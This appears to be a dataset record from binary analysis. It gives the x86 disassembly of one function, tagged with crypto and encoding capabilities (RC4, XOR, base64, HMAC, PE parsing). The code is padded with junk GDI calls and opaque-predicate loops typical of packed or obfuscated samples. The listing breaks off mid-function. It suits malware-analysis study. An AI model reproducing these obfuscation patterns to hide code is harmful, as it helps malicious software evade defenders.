Function at 0x4014e0
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x760
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0xbc], 0x4141
mov eax, 0xbeb
mov word [ebp - 0x8c], ax
mov byte [ebp - 0x1d], 0x5d
mov byte [ebp - 0x30], 0x19
mov dword [ebp - 0x128], 0x7007
mov ecx, 0xc0b
mov word [ebp - 8], cx
mov byte [ebp - 0xed], 0x73
mov edx, 0x3db
mov word [ebp - 0xc], dx
mov byte [ebp - 0x25], 1
mov eax, 0xe13
mov word [ebp - 0x50], ax
mov byte [ebp - 0x39], 0x43
mov byte [ebp - 0x15], 0x4b
mov byte [ebp - 0x49], 0x59
mov ecx, 0x6dd
mov word [ebp - 0x14], cx
mov edx, 0xc27
mov word [ebp - 0x34], dx
mov dword [ebp - 0x38], 0x778b
mov dword [ebp - 0x2c], 0x4a79
mov dword [ebp - 0x88], 0x21c5
mov byte [ebp - 0x16], 0x47
mov dword [ebp - 0xc4], 0xa7
mov eax, 0x1ab
mov word [ebp - 0x108], ax
mov dword [ebp - 0x9c], 0x6041
mov dword [ebp - 0x46c], 0x767b
mov ecx, 0xa21
mov word [ebp - 0x24], cx
push 0x8d
push 0x70
push 0x7e
push 0x8a
push 0x34
push 8
push 0x57
push 0x99
mov edx, dword [ebp - 0x4f8]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x190], 0x3c65
mov dword [ebp - 0x174], 0xeb2a
mov dword [ebp - 0x158], 0x9264
push 0x14
push 0xbb
push 0xea
push 0xa4
push 0x92
push 0x8c
push 0xeb
push 0x81
mov eax, dword [ebp - 0xfc]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x220], 0xf915
mov dword [ebp - 0x1b4], 0xfeae
push 6
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [ebp - 0x154], 0xbf8c
push 1
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x150], 0x9cb2
cmp dword [ebp - 0x150], 0x9da3
ja 0x401701
mov eax, dword [ebp - 0x150]
add eax, 0xf1
mov dword [ebp - 0x150], eax
push 0x29
push 0xbb
push 0xac
push 0xec
push 0x7f
push 0xf1
push 0x20
push 6
mov ecx, dword [ebp - 0x490]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x130], eax
push 0xe8
push 0x49
push 0xb6
push 0x14
push 0x9f
push 4
push 0xe2
push 0xff
mov edx, dword [ebp - 0x13c]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x130], eax
jmp 0x401681
push 3
mov eax, dword [ebp - 0xfc]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [ebp - 0x19c], 0x3744
mov dword [ebp - 0x228], 0x66c0
cmp dword [ebp - 0x154], 0xbd3d
jbe 0x401785
mov ecx, dword [ebp - 0x154]
sub ecx, 0xc5
mov dword [ebp - 0x154], ecx
push 0
mov edx, dword [ebp - 0x170]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x264], eax
push 0x4d
push 0x91
push 0x48
push 0x54
push 0x2a
push 0x8e
push 6
push 0x8c
mov eax, dword [ebp - 0x498]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x130], eax
jmp 0x401724
movzx ecx, word [ebp - 8]
mov dword [ebp - 0x480], ecx
cmp dword [ebp - 0x480], 0x297
je 0x40179d
jmp 0x4017c6
push 0x401008
push 0x401014
call fcn.00401450
add esp, 8
movzx edx, word [ebp - 8]
push edx
movzx eax, word [ebp - 8]
push eax
movzx ecx, word [ebp - 8]
push ecx
call fcn.004014a0
add esp, 0xc
movzx edx, word [ebp - 8]
mov dword [ebp - 0x484], edx
cmp dword [ebp - 0x484], 0x2c5
je 0x4017de
jmp 0x401807
push 0x401020
push 0x40102c
call fcn.00401450
add esp, 8
movzx eax, word [ebp - 8]
push eax
movzx ecx, word [ebp - 8]
push ecx
movzx edx, word [ebp - 8]
push edx
call fcn.004014a0
add esp, 0xc
mov dword [ebp - 0x18c], 0x8e75
mov dword [ebp - 0x230], 0x2d4c
mov dword [ebp - 0x178], 0x4967
movsx eax, word [ebp - 0x10]
add eax, 0x217
mov word [ebp - 0xc], ax
mov dword [ebp - 0x168], 0xcdbc
mov dword [ebp - 0x1f4], 0x79f0
mov dword [ebp - 0x1bc], 0x41fa
mov dword [ebp - 0x1e0], 0x9d3e
push 6
mov ecx, dword [ebp - 0x170]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
movsx edx, word [ebp - 0xc]
mov dword [ebp - 0x488], edx
cmp dword [ebp - 0x488], 0x217
je 0x401881
jmp 0x4018bc
push 0x401038
push 0x401044
call fcn.00401450
add esp, 8
push 2
mov eax, dword [ebp - 0x494]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x184], 0xe0bf
mov dword [ebp - 0x164], 0x58c9
mov dword [ebp - 0x31c], 0x87bd
movzx eax, word [ebp - 8]
sub eax, 0xbb9
mov word [section..data], ax
mov dword [ebp - 0x160], 0xe931
movzx ecx, word [ebp - 8]
mov dword [ebp - 0x48c], ecx
cmp dword [ebp - 0x48c], 0xc0b
je 0x4018f7
jmp 0x40191e
push 0x401050
push 0x40105c
call fcn.00401450
add esp, 8
push 1
mov edx, dword [ebp - 0x458]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x2b8], 0x3130
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x60]
mov dword [0x407014], ecx
mov dword [ebp - 0x2e4], 0xa314
mov dword [ebp - 0x16c], 0x9abb
push 3
mov edx, dword [ebp - 0x490]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x158], 0x9186
jbe 0x4019ca
movzx edx, word [ebp - 8]
xor edx, 0x3eb
mov word [section..data], dx
mov eax, dword [ebp - 0x158]
sub eax, 0x4a
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x64]
mov dword [eax], edx
push 0xad
push 0xa7
push 0x24
push 0xc4
push 0xb5
push 0x4d
push 0xb1
push 0xed
mov ecx, dword [ebp - 0x494]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x430], eax
jmp 0x40195a
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x15c], 0xfec7
mov dword [ebp - 0x188], 0xd934
lea edx, [ebp - 1]
mov dword [ebp - 0x1c], edx
movsx eax, word [ebp - 0xc]
movsx ecx, word [ebp - 0x10]
sar eax, cl
mov word [ebp - 0x14], ax
cmp dword [ebp - 0x15c], 0xfe1d
jb 0x401a56
mov eax, dword [ebp - 0x15c]
sub eax, 0xaa
mov dword [ebp - 0x15c], eax
push 0x43
push 0xaf
push 0x90
push 0xe5
push 0xe3
push 0x3a
push 0x3f
push 0x36
mov ecx, dword [ebp - 0xfc]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x428], eax
mov edx, dword [ebp - 0x64]
mov eax, dword [edx]
and eax, 0x52fb
mov dword [ebp - 0x2c], eax
jmp 0x4019fb
cmp dword [ebp - 0x160], 0xe8e5
jb 0x401a88
mov ecx, dword [ebp - 0x160]
sub ecx, 0x4c
mov dword [ebp - 0x160], ecx
push 2
mov edx, dword [ebp - 0x498]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x1d8], eax
jmp 0x401a56
cmp dword [ebp - 0x164], 0x58c9
ja 0x401ab0
mov ecx, dword [ebp - 0x164]
add ecx, 0x36
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0x98]
mov eax, dword [edx]
mov dword [ebp - 0x60], eax
jmp 0x401a88
mov cl, byte [0x407002]
mov byte [ebp - 0x49c], cl
cmp byte [ebp - 0x49c], 0x27
je 0x401ac7
jmp 0x401af1
push 0x401068
push 0x401074
call fcn.00401450
add esp, 8
mov dx, word [section..data]
mov word [0x407018], dx
mov dword [ebp - 0x3b4], 0xa663
mov dword [ebp - 0x304], 0x86f1
mov eax, dword [ebp - 0x1c]
mov cl, byte [eax]
mov byte [ebp - 2], cl
mov dword [ebp - 0x288], 0x870
movzx eax, word [ebp - 8]
movzx ecx, word [section..data]
cdq
idiv ecx
mov word [ebp - 0x24], ax
movsx edx, word [ebp - 0xc]
movsx eax, word [ebp - 0x10]
add edx, eax
mov word [0x407004], dx
cmp dword [ebp - 0x168], 0xce0a
jae 0x401b7a
mov edx, dword [ebp - 0x168]
add edx, 0x1a
mov dword [ebp - 0x168], edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x64]
mov dword [edx], ecx
movsx eax, word [0x407004]
movsx ecx, word [ebp - 0x10]
or eax, ecx
mov word [ebp - 0xc], ax
push 3
mov edx, dword [ebp - 0x100]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x401b30
push 1
mov eax, dword [ebp - 0x5e0]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x294], 0xbff5
mov dword [ebp - 0x1ec], 0x43b7
push 0x81
push 0x5d
push 0xeb
push 0x17
push 0x31
push 0xee
push 0x81
push 0x71
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x130], eax
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x298], 0xd81d
mov dword [ebp - 0x180], 0x3627
mov dword [ebp - 0x17c], 0x98d8
mov eax, dword [ebp - 0x16c]
sub eax, 0x18
mov dword [ebp - 0x16c], eax
push 7
mov ecx, dword [ebp - 0x170]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x16c], 0x9a8b
jae 0x401bf6
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov dword [ebp - 0xb0], ecx
mov dl, byte [ebp - 2]
mov byte [0x40701a], dl
mov dword [ebp - 0x200], 0xcfc1
push 0x48
push 0xe4
push 0xe9
push 0xc9
push 0xf9
push 0xf9
push 0x80
push 4
mov eax, dword [ebp - 0x170]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x24c], 0xf1c3
cmp dword [ebp - 0x174], 0xebe5
je 0x401cd1
mov ecx, dword [ebp - 0x174]
add ecx, 0xbb
mov dword [ebp - 0x174], ecx
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x2c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
push 2
mov edx, dword [ebp - 0x4d0]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x401c95
push 0xda
push 4
push 0xb5
push 0xdd
push 0x33
push 0x65
push 0x81
push 0x29
mov eax, dword [ebp - 0x5e4]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x428], eax
push 2
mov ecx, dword [ebp - 0x4b4]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x1a4], 0xd3f8
mov dword [ebp - 0x1a0], 0xc2b4
movzx edx, word [ebp - 0x24]
mov dword [ebp - 0x4a0], edx
cmp dword [ebp - 0x4a0], 0
je 0x401d3e
jmp 0x401d69
push 0x401080
push 0x40108c
call fcn.00401450
add esp, 8
push 2
mov eax, dword [ebp - 0xfc]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [ebp - 0x194], 0xc04c
lea ecx, [ebp - 0x10]
mov dword [0x40701c], ecx
mov dword [ebp - 0x1a8], 0x9b98
mov edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x2c]
and eax, dword [edx]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x268], 0xd3c
cmp dword [ebp - 0x178], 0x4932
jb 0x401dd7
mov ecx, dword [ebp - 0x178]
sub ecx, 0x35
mov dword [ebp - 0x178], ecx
mov edx, dword [ebp - 0x98]
mov eax, dword [edx]
and eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
movsx edx, word [0x407004]
movsx eax, word [ebp - 0x14]
add edx, eax
mov ecx, dword [0x40701c]
mov word [ecx], dx
jmp 0x401d91
mov ecx, dword [ebp - 0x17c]
sub ecx, 0x79
mov dword [ebp - 0x17c], ecx
push 1
mov edx, dword [ebp - 0x250]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x17c], 0x97e6
jae 0x401dd7
mov ecx, dword [ebp - 0x1c]
mov dl, byte [ecx]
mov byte [ebp - 0x4a4], dl
cmp byte [ebp - 0x4a4], 0
je 0x401e1a
jmp 0x406a9c
push 0x401098
push 0x4010a4
call fcn.00401450
add esp, 8
cmp dword [ebp - 0x180], 0x3563
jbe 0x401e65
mov eax, dword [ebp - 0x180]
sub eax, 0xc4
mov dword [ebp - 0x180], eax
mov ecx, dword [0x40701c]
movsx edx, word [ecx]
movsx ecx, word [0x407004]
shl edx, cl
mov eax, dword [0x40701c]
mov word [eax], dx
jmp 0x401e2c
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x44], ecx
push 0xc5
push 0x5a
push 0x1b
push 8
push 0x14
push 0x27
push 0xa8
push 0x47
mov edx, dword [ebp - 0x50c]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x258], 0xcd7d
mov dword [ebp - 0x344], 0xfbd6
push 1
mov ecx, dword [ebp - 0x444]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x12c], eax
mov edx, dword [ebp - 0x1c]
movzx eax, byte [edx]
movzx ecx, byte [0x40701a]
sar eax, cl
mov byte [0x407003], al
mov dword [ebp - 0x2dc], 0xef5a
mov ecx, dword [ebp - 0x184]
add ecx, 0x60
mov dword [ebp - 0x184], ecx
push 0
mov edx, dword [ebp - 0x43c]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x10c], eax
movzx eax, word [ebp - 0x24]
movzx ecx, word [0x407018]
or eax, ecx
mov word [ebp - 8], ax
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x38]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
cmp dword [ebp - 0x184], 0xe17f
jne 0x401ee1
lea edx, [ebp - 0xc]
mov dword [0x407020], edx
push 0xf3
push 0x22
push 0xa0
push 0x37
push 0x76
push 0x4c
push 0xb4
push 0x95
mov eax, dword [ebp - 0x42c]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x1ac], eax
mov ecx, dword [ebp - 0x188]
add ecx, 9
mov dword [ebp - 0x188], ecx
push 0x9b
push 0xbc
push 0x8d
push 0x7c
push 0xae
push 0x6d
push 0x8d
push 8
mov edx, dword [ebp - 0x534]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x110], eax
push 0
mov eax, dword [ebp - 0x4a8]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x188], 0xd93d
jbe 0x401f38
lea ecx, [ebp - 0x38]
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0x260], 0xa7f8
mov dword [ebp - 0x1e8], 0x9fad
mov dword [ebp - 0x1b0], 0xa2a3
mov dword [ebp - 0x2ec], 0x2a6
mov edx, dword [ebp - 0x18c]
sub edx, 0xed
mov dword [ebp - 0x18c], edx
push 6
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x18c], 0x8c9b
ja 0x401ffe
cmp dword [ebp - 0x190], 0x3c9b
je 0x402082
mov ecx, dword [ebp - 0x190]
add ecx, 0x36
mov dword [ebp - 0x190], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
xor eax, dword [ebp - 0xb0]
mov dword [ebp - 0x60], eax
push 0x6e
push 0x72
push 0x64
push 0x8c
push 0xbf
push 0x75
push 0xf8
push 0x6b
mov ecx, dword [ebp - 0x100]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x470], eax
jmp 0x40202b
mov dl, byte [ebp - 1]
mov byte [0x40701b], dl
push 0xe1
push 0xc9
push 0xce
push 0xee
push 0xb7
push 0xdf
push 0x25
push 0xc5
mov eax, dword [ebp - 0x458]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x448], eax
push 2
mov ecx, dword [ebp - 0x42c]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x388], eax
push 5
mov edx, dword [ebp - 0x4ac]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [ebp - 0x364], 0x817a
lea eax, [ebp - 8]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x1f0], 0x312b
movsx ecx, byte [0x407002]
and ecx, 0x2f
mov byte [ebp - 0x15], cl
movsx edx, word [ebp - 0x10]
movsx eax, word [0x407004]
add edx, eax
mov word [0x407008], dx
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x2c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x64]
mov dword [eax], edx
push 0xd2
push 0xf7
push 0x78
push 0xee
push 0x8f
push 0x68
push 0x45
push 0xd7
mov ecx, dword [ebp - 0x4b0]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x430], eax
push 2
mov edx, dword [ebp - 0x398]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1e4], 0xd498
push 2
mov eax, dword [ebp - 0x4bc]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x308], 0x33a9
cmp dword [ebp - 0x194], 0xc04c
ja 0x4021e4
mov ecx, dword [ebp - 0x194]
add ecx, 0x74
mov dword [ebp - 0x194], ecx
push 0
mov edx, dword [ebp - 0x4c8]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x48]
mov dword [edx], ecx
jmp 0x4021a2
lea eax, [ebp - 1]
mov dword [0x407024], eax
lea ecx, [ebp - 8]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x248], 0x6dd2
mov dword [ebp - 0x37c], 0xb10a
lea edx, [ebp - 0x15]
mov dword [ebp - 0x68], edx
lea eax, [ebp - 0x10]
mov dword [0x407028], eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0x36c], 0x4c5a
lea edx, [ebp - 0xb0]
mov dword [ebp - 0xe0], edx
mov dword [ebp - 0x1cc], 0xa740
mov dword [ebp - 0x1dc], 0xf9ec
push 7
mov eax, dword [ebp - 0x4a8]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [ebp - 0x198], 0x4e1
mov dword [ebp - 0x300], 0xcdd4
lea ecx, [ebp - 1]
mov dword [0x40702c], ecx
cmp dword [ebp - 0x198], 0x4f2
jae 0x4022cb
mov edx, dword [ebp - 0x198]
add edx, 0x11
mov dword [ebp - 0x198], edx
mov eax, dword [ebp - 0x5c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x78]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x24], cx
push 0x3d
push 0xa1
push 0xa1
push 0x1b
push 0x1b
push 0x26
push 0x16
push 0x50
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x3d4], eax
jmp 0x402273
mov edx, dword [ebp - 0x68]
mov al, byte [edx]
mov byte [ebp - 0x2f], al
mov dword [ebp - 0x27c], 0x2bce
push 0xf5
push 0x8a
push 0xfe
push 0xdd
push 0x46
push 0x3c
push 0x7b
push 0x56
mov ecx, dword [ebp - 0x4ac]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x5e8], eax
mov edx, dword [0x40701c]
mov ax, word [edx]
mov word [0x407030], ax
push 7
mov ecx, dword [ebp - 0x3a8]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x2c]
xor eax, dword [edx]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xd4], 0x407014
mov dword [ebp - 0x1b8], 0x81dc
lea ecx, [ebp - 2]
mov dword [0x407034], ecx
mov dword [ebp - 0x210], 0x8cff
movzx eax, word [0x407018]
movzx ecx, word [ebp - 8]
cdq
idiv ecx
mov word [ebp - 0x8c], ax
mov dword [ebp - 0x408], 0xb083
mov edx, dword [ebp - 0x68]
mov al, byte [edx]
mov byte [ebp - 0x2d], al
mov dword [ebp - 0x1c4], 0xbfe2
push 4
mov ecx, dword [ebp - 0x4b0]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [ebp - 0x280], 0xa36d
mov edx, dword [ebp - 0x19c]
add edx, 0xdb
mov dword [ebp - 0x19c], edx
mov eax, dword [0x407028]
movsx edx, word [eax]
movsx ecx, word [0x407030]
shl edx, cl
mov eax, dword [0x407020]
mov word [eax], dx
push 4
mov ecx, dword [ebp - 0x4b8]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x19c], 0x381f
jbe 0x4023a9
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
sar edx, cl
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x1a0], 0xc40d
je 0x402439
mov eax, dword [ebp - 0x1a0]
add eax, 0x73
mov dword [ebp - 0x1a0], eax
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x60]
or edx, dword [ecx]
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 0x1c]
movzx eax, byte [edx]
or ecx, eax
mov byte [0x407003], cl
jmp 0x4023fa
movzx ecx, word [ebp - 8]
movzx edx, word [0x407018]
and ecx, edx
mov word [ebp - 0x34], cx
movsx eax, byte [ebp - 0x15]
mov ecx, dword [ebp - 0x68]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x2d], al
push 0
mov edx, dword [ebp - 0x4d8]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x314], 0x1f9c
movsx eax, word [ebp - 0xc]
movsx ecx, word [0x407030]
shl eax, cl
mov ecx, dword [0x407020]
mov word [ecx], ax
push 2
mov edx, dword [ebp - 0x5ec]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x48]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov dword [ebp - 0x218], 0x724e
push 2
mov edx, dword [ebp - 0x524]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x1a4], 0xd3f8
ja 0x40252b
mov eax, dword [ebp - 0x1a4]
add eax, 0xb5
mov dword [ebp - 0x1a4], eax
push 3
push 6
push 0xe5
push 0xe8
push 0xcd
push 0x3e
push 0x54
push 0x8b
mov ecx, dword [ebp - 0x34c]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x1ac], eax
jmp 0x4024dd
movzx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x1c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [0x407006], dl
lea edx, [ebp - 0x34]
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x1d4], 0x8037
mov dword [ebp - 0x278], 0x34e5
mov dword [ebp - 0x2f4], 0xb017
mov dword [ebp - 0x2b0], 0xa11a
cmp dword [ebp - 0x1a8], 0x9c3d
jae 0x4025e1
movsx eax, byte [ebp - 0x2d]
movsx ecx, byte [0x407002]
add eax, ecx
mov byte [ebp - 0x15], al
mov edx, dword [ebp - 0x1a8]
add edx, 0x37
mov dword [ebp - 0x1a8], edx
push 0xbd
push 0xac
push 0xcc
push 0xf5
push 0x17
push 0xce
push 0x36
push 0x80
mov eax, dword [ebp - 0x5f0]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x1ac], eax
movsx ecx, word [ebp - 0x10]
movsx edx, word [ebp - 0x14]
add ecx, edx
mov word [0x407030], cx
jmp 0x40256e
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0x1f8], 0x3839
mov dword [ebp - 0x2fc], 0xacc7
mov edx, dword [ebp - 0xe0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb0]
shl eax, cl
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x274], 0x5f93
mov dword [ebp - 0x1c0], 0x164e
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x1c]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [0x407024]
mov byte [edx], cl
mov eax, dword [ebp - 0x5c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x94]
movzx eax, word [edx]
imul ecx, eax
mov edx, dword [ebp - 0x5c]
mov word [edx], cx
cmp dword [ebp - 0x1b0], 0xa267
jb 0x40269f
mov eax, dword [ebp - 0x1b0]
sub eax, 0x1e
mov dword [ebp - 0x1b0], eax
mov ecx, dword [ebp - 0x68]
movsx edx, byte [ecx]
movsx eax, byte [0x407002]
xor edx, eax
mov ecx, dword [ebp - 0x68]
mov byte [ecx], dl
mov edx, dword [0x407028]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x10]
or eax, ecx
mov edx, dword [0x407020]
mov word [edx], ax
jmp 0x402656
cmp dword [ebp - 0x1b4], 0xffcb
jae 0x4026e1
mov eax, dword [ebp - 0x1b4]
add eax, 0x5f
mov dword [ebp - 0x1b4], eax
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x2c]
and edx, dword [ecx]
mov eax, dword [ebp - 0x80]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ecx]
mov ecx, dword [0x407014]
shr edx, cl
mov eax, dword [ebp - 0xe0]
mov dword [eax], edx
jmp 0x40269f
lea ecx, [ebp - 2]
mov dword [0x407038], ecx
mov dword [ebp - 0x54], 0x407018
mov dword [ebp - 0x1d0], 0xc851
lea edx, [ebp - 0x2f]
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x338], 0xbeb6
mov eax, dword [ebp - 0x1b8]
sub eax, 0xed
mov dword [ebp - 0x1b8], eax
mov ecx, dword [0x40701c]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x14]
sar edx, cl
mov word [0x407004], dx
push 1
mov eax, dword [ebp - 0x4c0]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x1b8], 0x8002
ja 0x40270b
cmp dword [ebp - 0x1bc], 0x41be
jbe 0x40278d
mov ecx, dword [ebp - 0x1bc]
sub ecx, 0x3c
mov dword [ebp - 0x1bc], ecx
mov edx, dword [ebp - 0x2c]
and edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xd8]
mov dword [eax], edx
push 8
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x402753
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
or eax, dword [ebp - 0x88]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x254], 0xf2c6
mov dword [ebp - 0x22c], 0x62ba
push 0x7b
push 0x81
push 0xee
push 0x67
push 2
push 0x8a
push 0xf8
push 0xa7
mov ecx, dword [ebp - 0x42c]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x240], 0x333e
push 0x69
push 0x2d
push 0xfe
push 0x1a
push 0xd1
push 0xf1
push 0xa5
push 0x61
mov edx, dword [ebp - 0x250]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x438], eax
push 0
mov eax, dword [ebp - 0x13c]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x1c8], 0x34cd
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x1c]
movzx eax, byte [edx]
